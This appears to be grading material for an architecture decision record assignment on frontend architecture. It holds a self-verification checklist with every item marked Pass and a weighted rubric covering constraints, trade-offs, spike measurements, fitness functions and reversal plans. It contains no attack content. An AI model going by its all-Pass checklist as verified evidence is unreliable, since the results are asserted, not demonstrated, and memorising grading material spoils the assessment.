| Verification Item | Evaluation Criteria | Pass / Fail |
|---|---|---|
| Requirements-Driven | Decision is anchored in mobile 3G constraints and WCAG AA mandates rather than framework trends. | Pass |
| Viable Alternatives | Considered three distinct options, complete with genuine technical trade-offs. | Pass |
| Empirical Evidence | Conducted Spike 01; measured bundle size and LCP data rather than quoting blog posts. | Pass |
| Automated Fitness Functions | Defined actionable CI rules (ESLint boundaries, bundle size budgets) to protect architectural properties. | Pass |
| Quantitative Reversal Plan | Documented explicit numerical triggers (team size >12 squads, CI >35 min) for revisiting the decision. | Pass |
| Appendix C Alignment | Verified that the architecture satisfies the Section 6 (Architecture Sign-Off) checklist in Appendix C. | Pass |
Grading Rubric
| Criterion | Points | Evaluation Requirement |
|---|---|---|
| Problem & Constraint Articulation | 20% | Quality attributes are formulated as measurable scenarios; organizational and network constraints are clearly defined. |
| Trade-Off Analysis of Alternatives | 20% | Evaluates three viable options; clearly explains why rejected options failed constraints. |
| Empirical Spike Rigor | 20% | Technical spike measures concrete performance metrics (bundle sizes, LCP, CPU time) under throttled conditions. |
| ADR Completeness & Fitness Functions | 25% | ADR follows standard format; consequences are balanced; automated CI guardrails enforce architectural boundaries. |
| Reversibility & Evolution Strategy | 15% | Reversal triggers are quantified; includes a credible migration plan if assumptions change. |